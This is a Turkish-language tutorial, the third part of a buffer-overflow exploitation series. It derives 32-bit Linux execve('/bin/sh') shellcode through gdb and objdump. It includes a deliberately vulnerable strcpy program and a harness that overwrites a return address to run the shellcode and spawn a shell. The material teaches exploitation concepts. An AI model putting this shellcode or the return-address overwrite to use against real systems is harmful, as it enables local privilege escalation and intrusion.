Advanced Coding / Buffer Overflow Exploit -3

[ - Arabellek Taşma İstismarları (BOFE)/ Kapsamlı Bir İnceleme - Bölüm 0x03 - ]

Üçüncü Bölüme Giriş

Bu belge pek çok bölümden oluşan bir yazıdisinin üçüncü bölümü olduğundan öncelikle birinci ve ikinci bölümlerin okunmuş ve anlaşılmış olduğunu kabul ediyorum (Her türlü soru için bana e-posta atabilirsiniz.).

Dizimizin üçüncü bölümünde kabukkod kavramını inceleyeceğiz. Artık gerekli tüm önemli altyapıya sahip olduğunuzu düşünüyorum. Bu bölüm gereksiz uzun açıklamalara girmeden hızlı ve tempolu bir şekilde gidecek. Dolayısı ile önceki bölümleri iyi özümsediğinizden emin olun. Başlıyoruz.


Kendi Kodumuzu Çalıştırmak?


Önceki bölümlerde yığıt yapısını ve yığıtta saklanan dönüş adresinin nasıl değiştirilebileceğini gördük.

Dönüş adresinin değiştirilebilmesi demek programın içinde istediğimiz yere atlayabilmemiz demek. Hatta programın kullandığı paylaşımlı kütüphane (shared-library) fonksiyonlarının adreslerini bile adres olarak kullanabiliriz. Kernel'in izin vermeyeceği tek şey başka proseslerin adres-uzaylarına sarkmak.

Eğer hedef programımız içinde sadece özel kullanıcıların (sistem yöneticisinin mesela) kullanabileceği bir fonksiyon varsa, ve normal olarak biz bu fonksiyona erişim sağlayamıyorsak, bu teknikle fonksiyonun adresini dönüş değeri olarak yazabiliriz. Bu tür hack'lerle ileriki bölümlerde ilgileneceğiz. Fakat ya istediğimiz kod hedef program içerisinde bulunmuyorsa? Örneğin son derece basit küçük bir uygulama programcığının yığıtını taşırarak dönüş adresini değiştirmeyi başardık. Bu program içerisinde çalıştırmak isteyebileceğimiz bir kod olması pek mümkün olmayabilir. Bu durumda ne yaparsınız?

Elbette ki çalıştıracağınız kodu da kendiniz sağlarsınız! Biraz düşünün bakalım, kendi kodunuzu nasıl hedef programa verebilirsiniz? Ayrı bir program olarak çalıştırarak adresini hedef programa vermeyi düşündüyseniz hatalısınız. Çünkü ayrı bir programa doğrudan adresini vererek "zıplamaya" işletim sistemi izin vermeyecektir. O halde çözüm nedir?

Çözüm istediğimiz kodu hedef programın herhangi bir arabelleğine yazmak! En uygun arabellek de elbette ki taşırdığımız arabelleğin (buffer'ın) kendisi!

Yapacağımız şey istediğimiz kodu arabelleğe koymak ve dönüş adresini de bu kodun başlangıcı olarak değiştirmek. Elbette ki bu iş biraz karmaşık ve itina gerektiren bir iş.


Kabukkod (Shellcode) Kavramı


Bir arabelleğe kod nasıl yazılır? Elbette ki karakter-karakter! Yani makina dilinde yazılır. Ama şimdilik nasılını sonraya bırakıp ne çalıştırmak isteyebileceğimizi düşünelim.

Gelişmiş istismarlarda çalıştıracağımız kod çok parçalı ve karmaşık olabilir. Basit istismarlarda ise genelde istediğimiz bize bir "kabuk" açılmasıdır. Kabuk yani orjinal adıyla shell hepimizin kullandığı komut satır istemcisidir (örneğin /bin/bash). Eğer sistemde bulunan bir kabuğu çalıştırırsak bu kabuk bize daha sonraki işlemlerimizi yapabilmemiz için rahat ve kullanışlı bir arabirim sağlamaktadır. Hemen hemen tüm sistemlerde bulunan komut "/bin/sh" dır. Bu bazen standart bir kabuk olabileceği gibi tercih edilmiş bir kabuğa bir "link" de olabilir. Bu yüzden biz "/bin/sh" çalıştıracağız.

Bu arada eğer "ben kabuğu kendim de çalıştırırım, bofe'ye ne gerek var?" diyorsanız suid biti ile ilgili açıklamaya kadar bekleyin!

Çalıştırılan kod genelde kabuk olduğu için arabelleğe yazılan koda shellcode ya da kabukkod denmektedir. Günümüzde gelişmiş kabukkodların içinde kabuk ile ilgili hiçbir şey olmamasına rağmen bu isim tüm taşırma kodlarını içerecek şekilde kullanılmaktadır.


Basit Bir Kabukkoda Hazırlık


Öncelikle örneklerimizde hedef program olarak kullanacağımız "zayıf" ya da "hassas" (vulnerable) kodu oluşturalım:

// Ornek11.c -- Zayıf/Hassas (Vulnerable)
// ~~~~~~~~~
int main(int argc, char* argv[])
{
char b[512];

if(argc < 2)
{
puts("Bir parametre verin!\n");
exit(1);
}

strcpy(b,argv[1]);

return 0;
}



$ gcc -o ornek11 ornek11.c
$ ./ornek11
Bir parametre verin!

$ ./ornek11 SusBakiiim
$
$ ./ornek11 12345678901234567890123456789012345678901234567890 1234567890
12345678901234567890123456789012345678901234567890 1234567890123456789012
34567890123456789012345678901234567890123456789012 3456789012345678901234
56789012345678901234567890123456789012345678901234 5678901234567890123456
78901234567890123456789012345678901234567890123456 7890123456789012345678
90123456789012345678901234567890123456789012345678 9012345678901234567890
12345678901234567890123456789012345678901234567890 1234567890123456789012
34567890123456789012345
$
$ ./ornek11 12345678901234567890123456789012345678901234567890 1234567890
12345678901234567890123456789012345678901234567890 1234567890123456789012
34567890123456789012345678901234567890123456789012 3456789012345678901234
56789012345678901234567890123456789012345678901234 5678901234567890123456
78901234567890123456789012345678901234567890123456 7890123456789012345678
90123456789012345678901234567890123456789012345678 9012345678901234567890
12345678901234567890123456789012345678901234567890 1234567890123456789012
345678901234567890123456
Parçalama arızası (core dumped)
$



Hedef programımız tamam. Taşırma da çalışıyor. Neden tam 516 karakter yazdığımızda SegFault ettiğini anlamayan yoktur artık heralde.

Şimdi kabuk çalıştıran koda geldi sıra. Linux'ta başka bir program çalıştırmak için kullanılan sistem çağrısı execve'dir. C programları içinde kullanılabilecek fonksiyon ise aynı isimli fonksiyondur:

$ man execve

NAME
execve - execute program

SYNOPSIS
#include

int execve(const char *filename, char *const argv [], char
*const envp[]);
...
...
...



execl(), execlp(), execle(), execv(), execvp() adlı fonksiyonlar yalnızca execve()'yi çağıran arayüzlerdir. Peki nerede bu execve? Elbette ki paylaşımlı-kütüphanede!

$ gdb /lib/libc.so.6
GNU gdb...
(gdb) disass execve
Dump of assembler code for function execve:
0xa93d4 : push %ebp
0xa93d5 <execve+1 />: mov %esp,%ebp
0xa93d7 <execve+3 />: sub $0xc,%esp
0xa93da <execve+6 />: push %edi
0xa93db <execve+7 />: push %esi
0xa93dc <execve+8 />: push %ebx
0xa93dd <execve+9 />: call 0xa93d0 <_exit+64>
0xa93e2 <execve+14 />: add $0x7d12a,%ebx
0xa93e8 <execve+20 />: mov 0x8(%ebp),%edi
0xa93eb <execve+23 />: cmpl $0x0,0x908(%ebx)
0xa93f2 <execve+30 />: je 0xa93f9 <execve+37 />
0xa93f4 <execve+32 />: call 0x17bb4
0xa93f9 <execve+37 />: mov 0xc(%ebp),%ecx
0xa93fc <execve+40 />: mov 0x10(%ebp),%edx
0xa93ff <execve+43 />: push %ebx
0xa9400 <execve+44 />: mov %edi,%ebx
0xa9402 <execve+46 />: mov $0xb,%eax
0xa9407 <execve+51 />: int $0x80
0xa9409 <execve+53 />: pop %ebx
0xa940a <execve+54 />: mov %eax,%esi
0xa940c <execve+56 />: cmp $0xfffff000,%esi
0xa9412 <execve+62 />: jbe 0xa9422 <execve+78 />
0xa9414 <execve+64 />: call 0x18cc4
0xa9419 <execve+69 />: neg %esi
0xa941b <execve+71 />: mov %esi,(%eax)
0xa941d <execve+73 />: mov $0xffffffff,%esi
0xa9422 <execve+78 />: mov %esi,%eax
0xa9424 <execve+80 />: pop %ebx
0xa9425 <execve+81 />: pop %esi
0xa9426 <execve+82 />: pop %edi
0xa9427 <execve+83 />: mov %ebp,%esp
0xa9429 <execve+85 />: pop %ebp
0xa942a <execve+86 />: ret
0xa942b <execve+87 />: nop
0xa942c <execve+88 />: nop
0xa942d <execve+89 />: nop
0xa942e <execve+90 />: nop
0xa942f <execve+91 />: nop
0xa9430 <execve+92 />: mov (%esp,1),%ebx
0xa9433 <execve+95 />: ret
End of assembler dump.
(gdb) q



Tamam bu çıktı bu bölüm için çok karışık oldu. Daha başka bir yöntem deneyelim. Küçük bir program yazalım.

// Ornek12.c
// ~~~~~~~~~
#include

int main()
{
char *_argv[2];

_argv[0] = "sh";
_argv[1] = NULL;
if ( execve("/bin/sh", _argv, _argv[1]) == -1 )
{
puts("ARGGGHH! execve calismadi!!!");
exit(1);
}
puts("Bu kod calistirilamaz!");
}



Manual sayfasından görüyoruz ki execve'nin ilk parametresi dosya ismi, ikinci parametresi argüman vektörü, üçüncü parametresi de "environment" göstergesi (şimdilik kafanızı bununla meşgul etmeyin).

execve() doğru işlediğinde geri dönmez! Çalıştırılan program çalıştıran programın yerini alır. Programımızı çalıştıralım ve execve'nin düzgün çalışıp çalışmadığına bakalım:

psiXaos@psiXaos bofe $ gcc -o ornek12 ornek12.c
psiXaos@psiXaos bofe $ ./ornek12
sh-2.05a$



Yeni bir kabuk çalıştığını gösterebilmek için şu ana kadar hep kısalttığım "prompt"umu tam olarak bıraktım. Yeni kabuğun çalışmış olduğundan emin olmak için bir de "ps" çekelim:

sh-2.05a$ ps
PID TTY TIME CMD
2589 pts/1 00:00:00 bash
3105 pts/1 00:00:00 sh
3106 pts/1 00:00:00 ps
sh-2.05a$ exit
exit
psiXaos@psiXaos bofe $



Kabuk çalıştırmak için gereken kodu ornek12'yi "disass" ederek elde etmeye çalışırsak (deneyin!) çıktıda hiçbir şey bulamayız! Bunun nedeni execve'nin paylaşımlı bir kütüphanede bulunması, dolayısıyla ancak çalışma anında bağlanan dinamik bir tabloda bulunmasıdır. Bu kodu izlemek mümkündür fakat daha basit yollar var.

İhtiyacımız olan şey gcc'nin "-static" parametresi. Bu parametre dinamik olarak paylaşılan kütüphane kodlarının doğrudan çalıştırılabilir nesne dosyasına eklenmesini sağlamaktadır. (tabi dosya uzunluğu da devasa boyutlara gelmektedir!)

execve kodunu incelerken unutmamamız gereken bir nokta her platformun farklı bir yöntem kullandığıdır. Intel-Linux2.4 mimarisi sistem çağrılarını ele alırken parametreleri yazmaçlarla aktarmakta ve bir yazılım kesmesi (software interrupt) kullanmaktadır. Bu kesmenin adresi 0x80'dir.

$ gcc -S -static -o ornek12.S ornek12.c
$ cat ornek12.S
.file "ornek12.c"
.version "01.01"
gcc2_compiled.:
.section .rodata
.LC0:
.string "sh"
.LC1:
.string "/bin/sh"
.LC2:
.string "ARGGGHH! execve calismadi!!!"
.LC3:
.string "Bu kod calistirilamaz!"
.text
.align 4
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
subl $24,%esp
movl $.LC0,-8(%ebp)
movl $0,-4(%ebp)
addl $-4,%esp
movl -4(%ebp),%eax
pushl %eax
leal -8(%ebp),%eax
pushl %eax
pushl $.LC1
call execve
addl $16,%esp
movl %eax,%eax
cmpl $-1,%eax
jne .L3
addl $-12,%esp
pushl $.LC2
call puts
addl $16,%esp
addl $-12,%esp
pushl $1
call exit
addl $16,%esp
.p2align 4,,7
.L3:
addl $-12,%esp
pushl $.LC3
call puts
addl $16,%esp
.L2:
movl %ebp,%esp
popl %ebp
ret
.Lfe1:
.size main,.Lfe1-main
.ident "GCC: (GNU) 2.95.3 20010315 (release)"
$



execve() çağrısı için yapılan ön hazırlıkları bu çıktıdan öğreneceğiz. Bizim için önemli kısmı ayıralım:

pushl %ebp
movl %esp,%ebp
subl $24,%esp
movl $.LC0,-8(%ebp)
movl $0,-4(%ebp)
addl $-4,%esp
movl -4(%ebp),%eax
pushl %eax
leal -8(%ebp),%eax
pushl %eax
pushl $.LC1
call execve



Şimdi execve'nin içinde neler olduğunu da yanına koyalım:

$ gdb ornek12
GNU gdb...
(gdb) disass execve
Dump of assembler code for function execve:
execve: push %ebp
execve+1: mov %esp,%ebp
execve+3: sub $0x10,%esp
execve+6: push %edi
execve+7: push %ebx
execve+8: mov 0x8(%ebp),%edi
execve+11: mov $0x0,%eax
execve+16: test %eax,%eax
execve+18: je 0x804dc99 (execve+25)
execve+20: call 0x0
execve+25: mov 0xc(%ebp),%ecx
execve+28: mov 0x10(%ebp),%edx
execve+31: push %ebx
execve+32: mov %edi,%ebx
execve+34: mov $0xb,%eax
execve+39: int $0x80
execve+41: pop %ebx
execve+42: mov %eax,%ebx
execve+44: cmp $0xfffff000,%ebx
execve+50: jbe 0x804dcc2 (execve+66)
execve+52: call 0x8048480 (__errno_location)
execve+57: neg %ebx
execve+59: mov %ebx,(%eax)
execve+61: mov $0xffffffff,%ebx
execve+66: mov %ebx,%eax
execve+68: pop %ebx
execve+69: pop %edi
execve+70: mov %ebp,%esp
execve+72: pop %ebp
execve+73: ret
execve+74: mov %esi,%esi
execve+76: nop
execve+77: nop
execve+78: nop
execve+79: nop
End of assembler dump.
(gdb)



Bundan da bizi ilgilendiren kısım:

execve: push %ebp
execve+1: mov %esp,%ebp
execve+3: sub $0x10,%esp
execve+6: push %edi
execve+7: push %ebx
execve+8: mov 0x8(%ebp),%edi
execve+11: mov $0x0,%eax
execve+16: test %eax,%eax
execve+18: je 0x804dc99 (execve+25)
execve+20: call 0x0
execve+25: mov 0xc(%ebp),%ecx
execve+28: mov 0x10(%ebp),%edx
execve+31: push %ebx
execve+32: mov %edi,%ebx
execve+34: mov $0xb,%eax
execve+39: int $0x80



Şimdi bu çıktılardan derleyici çöplerini temizleyip optimize edelim ve birleştirelim (kendiniz de teyid edin!):

push %ebp # PROLOG
mov %esp,%ebp #

sub $28,%esp # char *_argv[2];

mov $.LC0,-8(%ebp) # _argv[0] = "sh";
mov $0,-4(%ebp) # _argv[1] = NULL;

mov -4(%ebp),%eax #
push %eax # 3. parametre ( _argc[1] )

lea -8(%ebp),%eax #
push %eax # 2. parametre ( _argv )

push $.LC1 # 1. parametre ( "/bin/sh" )

( push @Ret_execve ) # execve("/bin/sh", _argv, _argv[1]);

push %ebp # PROLOG
mov %esp,%ebp #

sub $0x10,%esp # Gereksiz
push %edi # Gereksiz
push %ebx # Gereksiz

mov 0x8(%ebp),%edi # %edi = "/bin/sh"
mov $0x0,%eax # Gereksiz

mov 0xc(%ebp),%ecx # %ecx = N-20
mov 0x10(%ebp),%edx # %edx = NULL'a gösterge

push %ebx # Gereksiz

mov %edi,%ebx # %ebx = "/bin/sh"

mov $0xb,%eax # %eax = 11
int $0x80 # sistem çağrısı



Şimdi yapacağımız, fonksiyon çağrısı kısmını süzerek sistem çağrısı kısmını saf olarak elde etmek. Bildiğimiz gibi execve() çağrısı parametrelerini yazmaçlar üzerinden alır. Sistem çağrı adresi 0x80'dir ve %eax yazmacı hangi işlevin çağrılacağını belirler. Yukarıdaki son satırlardan 11 sayısının execve()'nin çağrı numarası olduğunu görebiliriz.

Pekala tembellik yapmayarak yığıt yapısını çıkarmakla ile başlayalım. Bunu çıkarmakta hiçbir sorun yaşayacağınızı sanmıyorum:

Adres Erişim Değer

(Gerçek) (main) (f1)
============= ÜST ADRES
N ebp+12 --- | argv |
|-----------|
N-04 ebp+8 --- | argc |
|-----------|
N-08 ebp+4 --- | Ret_main |
|-----------|
N-12 ebp --- | ebp [xxxx]|
|-----------|
N-16 ebp-4 --- *--| 0 |
| |-----------|
N-20 ebp-8 --- | | .LC0 |
| |-----------|
N-24 ebp-12 --- | | ---- |
| |-----------|
N-28 ebp-16 --- | | ---- |
| |-----------|
N-32 ebp-20 --- | | ---- |
| |-----------|
N-36 ebp-24 --- | | (özel) |
| |-----------|
N-40 ebp-28 --- | | (özel) |
| |-----------|
N-44 ebp-32 ebp+16 *->| 0 |
|-----------|
N-48 ebp-36 ebp+12 | N-20 |
|-----------|
N-52 ebp-40 ebp+8 | .LC1 |
|-----------|
N-56 ebp+4 | Ret_execve|
|-----------|
N-60 ebp | ebp [N-12]|
|-----------|
N-64 ebp-4 | ---- |
|-----------|
N-68 ebp-8 | ---- |
|-----------|
N-72 ebp-12 | ---- |
|-----------|
N-76 ebp-16 | ---- |
|-----------|
N-80 ebp-20 | edi |
|-----------|
N-84 ebp-24 | ebx |
|-----------|
N-88 ebp-28 | ebx |
============= ALT ADRES



Yığıt yapısı sayesinde yazmaçlara gerçekte hangi değerlerin aktarıldığını daha rahat görebilirsiniz (Yani açıklama satırlarının nasıl çıkarıldığını...).

"execve("/bin/sh", _argv, _argv[1])" çağrısının karşılığı olan sistem çağrısında yazmaçların kullanımı şu şekilde ortaya çıkıyor:

%eax = 11 --> execve'nin çağrı numarası
%ebx = "/bin/sh"
%ecx = _argv
%edx = _argv[1] = ""

[Burada referanslarda adı geçen Aleph One'ın makalesi ile ilgili bir uyarıda bulunayım. Aleph One'ın madde madde execve() için verdiği arka arkaya iki a) b) c) ... listelerinde %ebx ve %ecx yazmaçları karıştırılmış. Kod is düzgün.]


Kabukkodumuzun İskeleti


Bizim kodumuz zaten yığıtta çalışacağı için yığıt komutlarını kullanması mantıklı değil. Dolayısı ile execve parametreleri başka bir şekilde oluşturulmalı ve atanmalı. "_argv[]" dizisini bellekte oluşturmak için bir yerlerde "sh" (_argv[0]), arkasından da NULL (_argv[1]) bulundurmalıyız. Ayrıca "sh" adresini (_argv) de bir yerlerde bulundurmalıyız. Taslak olarak yazalım:

movl $0xb,%eax
movl "/bin/sh"ın adresi,%ebx
movl "sh"ın adresinin adresi,%ecx
movl NULL'un adresi,%edx
int $0x80
.string "/bin/sh"
.word 0x0



Şimdi sorunumuz bu adreslerin nasıl bulunacağı. Öyle $sh yazmakla olmayacağının farkındasınız herhalde zira artık çeviricimiz olmayacak. Doğrudan bir adres de yazamayız çünkü hedef programın yığıtı hakkında tam bir tahminde bulunamayız. Dolayısı ile karakter-dizisinin adresini bulmak için başka bir yöntem geliştirmeliyiz. Bu da bir "call" komutunun kullanılması. "call" komutu kendisinden sonra gelen adresi yığıta dönüş adresi olarak yazdığından biz de bu adresi alarak kullanabiliriz. Dolayısı ile "call" komutunu karakter-dizisinin hemen öncesinde kullanmalıyız. Bu durumda ilk çalıştırılacak komutun "call" olmasını sağlayabilmek için başlangıçta "call" komutunun olduğu yere bir "jmp" zıplatması yapmak gerekir. "jmp" komutu bulunduğu adresten kaç sekizli sonraya gidileceğini parametre olarak alır. Şimdi kodumuz şu hali aldı:

jmp b
a: popl %esi
movl $0xb,%eax
movl c,%ebx
movl d,%ecx
movl e,%edx
int $0x80
b: call a
c: "/","b","i","n","/","s","h",0x00
d: (c) adresi --> _argv[0]
e: 0x00000000 --> _argv[1]



Sadece adresleri yerlerine oturttuk (yığıttaki yapıyı inceleyin). Tek fark "sh" yerine "/bin/sh" kullanmamız. Bunun sebebi execve() açısından "sh" ya da "/bin/sh" ın farketmemesi ve bizim için ikincisinin zaten hazır olması. İstersek "/bin/sh"dan 5 karakter sonrasını da hesaplayarak kullanabilirdik tabi ki. Dönüş değerini %esi yazmacına aldığımıza dikkat edin. Fakat henüz kullanmadık. %esi yazmacı %ebp gibi indekslenebildiği için standart olarak tercih edilir. "d:" adresini böyle doğrudan yazamayacağımıza göre kodun içinde oluşturalım. Bunu yapmışken en sondaki NULL sözcüğünün adresini de oluşturalım:

jmp $b
a: popl %esi # karakter-dizisinin adresini alalım
movl %esi,0x8(%esi) # karakter-dizisinin adresini yerleştirelim
movl $0x0,0xc(%esi) # NULL sözcüğümüzü yazalım
movl $0xb,%eax
movl %esi,%ebx # karakter-dizisinin adresi
leal 0x8(%esi),%ecx # karakter-dizisinin adresinin adresi
leal 0xc(%esi),%edx # NULL sözcüğümüzün adresi
int $0x80
b: call $a
c: "/","b","i","n","/","s","h",0x00



Tamam. Bir değişiklik daha yapalım ve "/bin/sh"ın sonundaki NULL karakteri kendimiz komut olarak yazalım. Bu NULL'ların el ile yazılmasını istemememizin nedenini ileride anlayacağız. Şimdilik ilerlemeden önce aşağıdaki çevirici dili kodunu tamamen anladığınızdan emin olun.

jmp b
a: popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
b: call a
.string \"/bin/sh\"



Kabukkodumuzu inşa etmeye devam ediyoruz. Ortaya iyi bir şeyler çıkıyor Smile $b'nin ve $a'nın değerlerini bulmak kaldı geriye. "Bunun için tüm komutların kaç sekizli olduğunu yazalım. Bunu bulmanın binlerce yolu var ama en kolayı önceki gdb çıktılarına bakarak her komutun kaç adres harcadığını bulmak." diyebilirdim ama Aleph One'ın da kullanmış olduğu bu yönteme hiç gerek yok aslında Smile) . Sonuçta yukarıdaki kod derlendiğinde "a" ve "b" nin karşılığı olan ofset değerleri rahat gözükecektir. Dolayısıyla bu kodu derlemeliyiz. Bu tür çevirici kodlarını derlemenin de kolay bir yolu C içinde "inline" çevirici kullanımıdır. Bunun için aşağıdaki yapı kullanılır:

int main()
{
__asm__ (" ....çevirici dili kodlari... ");
}



Diğer karmaşık özelliklerine girmiyorum bu olayın, sadece kodumuzu yazıyoruz:

// ornek13.c
// ~~~~~~~~~
int main()
{
__asm__ ("
jmp b
a: popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
b: call a
.string \"/bin/sh\"
");
}



Bu kod derlenir (Ama her sistemde şu haliyle çalışmaz. Çalıştırmaya kalkmayın, biraz sabredin!). Makina dili karşılığı ve "a"-"b" değerlerini bulmak için gdb'yi deneyelim:

$ gcc -o ornek13 ornek13.c
$ ./ornek13
Parçalama arızası (core dumped) --> {:^P uhoh!
$ gdb ornek13
GNU gdb...
(gdb) disass main
Dump of assembler code for function main:
0x80483d0 : push %ebp
0x80483d1 <main+1 />: mov %esp,%ebp
0x80483d3 <main+3 />: jmp 0x80483f3
End of assembler dump.
(gdb) x/50bx main
0x80483d0 : 0x55 0x89 0xe5 0xeb 0x1e 0x5e 0x89 0x76
0x80483d8 <a+3 />: 0x08 0xc6 0x46 0x07 0x00 0xc7 0x46 0x0c
0x80483e0 <a+11 />: 0x00 0x00 0x00 0x00 0xb8 0x0b 0x00 0x00
0x80483e8 <a+19 />: 0x00 0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56
0x80483f0 <a+27 />: 0x0c 0xcd 0x80 0xe8 0xdd 0xff 0xff 0xff
0x80483f8 <b+5 />: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
0x8048400 <b+13 />: 0x89 0xec
(gdb)



Görüldüğü gibi gdb'nin "/x" komutu ile makina dili karşılıklarını "disassembly" komutu ile de komut uzunluklarını bulabiliriz. Yalnız daha hoş çıktı veren bir aracımız daha mevcut: "objdump"!

$ objdump -d ornek13

ornek13: elf32-i386 dosya biçemi

.init bölümünün karşıt çevrimi:

....
....
....
080483d0 :
80483d0: 55 push %ebp
80483d1: 89 e5 mov %esp,%ebp
80483d3: eb 1e jmp 80483f3

080483d5 :
80483d5: 5e pop %esi
80483d6: 89 76 08 mov %esi,0x8(%esi)
80483d9: c6 46 07 00 movb $0x0,0x7(%esi)
80483dd: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
80483e4: b8 0b 00 00 00 mov $0xb,%eax
80483e9: 89 f3 mov %esi,%ebx
80483eb: 8d 4e 08 lea 0x8(%esi),%ecx
80483ee: 8d 56 0c lea 0xc(%esi),%edx
80483f1: cd 80 int $0x80

080483f3 :
80483f3: e8 dd ff ff ff call 80483d5

80483f8: 2f das
80483f9: 62 69 6e bound %ebp,0x6e(%ecx)
80483fc: 2f das
80483fd: 73 68 jae 8048467 <gcc2_compiled.+0x17 />
80483ff: 00 89 ec 5d c3 90 add %cl,0x90c35dec(%ecx)
....
....
....



Çıktı çok uzun olacaktır. Burada sadece ilgiliendiğimiz kısmı kırptım. Diğer kısımları ancak ELF formatı ile ilgili bir belge okursanız anlayabilirsiniz.(Aycan bir belge hazırlıyordu... takip ediniz.).

Makina dili kodumuz şu şekilde gidiyor: "0xeb,0x1e,0x5e,0x89,...". İlk iki satırın programımızda olması gerekmediğine dikkat edin. "b" adresinde "call" komutundan sonraki çevirici karşılıkları anlamsız görünüyor. Çünkü o kısımda aslında "/bin/sh" dizisi bulunuyor, kod değil! Tam olarak gösterelim:

eb 1e 5e 89 76 08 c6 46
07 00 c7 46 0c 00 00 00
00 b8 0b 00 00 00 89 f3
8d 4e 08 8d 56 0c cd 80
e8 dd ff ff ff
..."/bin/sh"....



Bu kodun çalışıp çalışmadığını denemek için küçük bir program yazalım ve dönüş değerini bu kodun başlangıç adresi olarak değiştirelim (ornek10.c'yi hatırlayın!):

// ornek14.c
// ~~~~~~~~~
char shellcode[] =
"\xeb\x1e\x5e\x89\x76\x08\xc6\x46"
"\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xdd\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68"; // "/bin/sh" yazsak da olurdu

int main()
{
int hack;
*(((long*)(&hack))+2) = (long*)shellcode;
}



Kodu bir karakter-dizisi içinde \x kaçmasını kullanarak yazdık. "/bin/sh" yerine de ASCII karşılıklarını yazdık. Sonra da dönüş değerini bu kodun başlangıcına çevirdik. Bu şey hiç de çalışacakmış gibi gelmiyor değil mi huhuhu Smile . Şansımızı deneyelim:

psiXaos@psiXaos bofe $ gcc -o ornek14 ornek14.c
ornek14.c: In function `main':
ornek14.c:14: warning: assignment makes integer from pointer without a cast
psiXaos@psiXaos bofe $ ./ornek14
sh-2.05a$ ps
PID TTY TIME CMD
829 pts/0 00:00:00 bash
1969 pts/0 00:00:00 sh
1971 pts/0 00:00:00 ps
sh-2.05a$ exit
exit
psiXaos@psiXaos bofe $



Evvvet! Kabukkodumuz sorunsuz çalışıyor. Artık yapmamız gereken bu kabukkodu kullanarak bir istismar programı yaratmak. Yalnız bir sorunumuz var, kodun içinde pek çok \x00 karakteri var. Bu NULL karakterleri strcpy() ve benzeri fonksiyonların çalışmasını durduracaktır ve arabellek taşması yaratmamıza engel olacaktır. Bu sebeple ilk yapmamız gereken bu sıfırları koddan kaldıracak bir alternatif geliştirmek.

Bu bölümde bu kadar... Gelecek bölümde gerçek bir kabukkod tasarlayacağız ve onunla bir istismar yaratacağız. Ardından da kabukkodumuzu optimize etmekle uğraşacağız. Saygılar... - Çağıl.

Kaynak: Çağıl Şeker
Tarih:
Hit: 3282
Yazar: Omega

Taglar: advanced coding / buffer overflow exploit -1


Yorumlar


Siftahı yapan siz olun
Yorum yapabilmek için üye girişi yapmalısınız.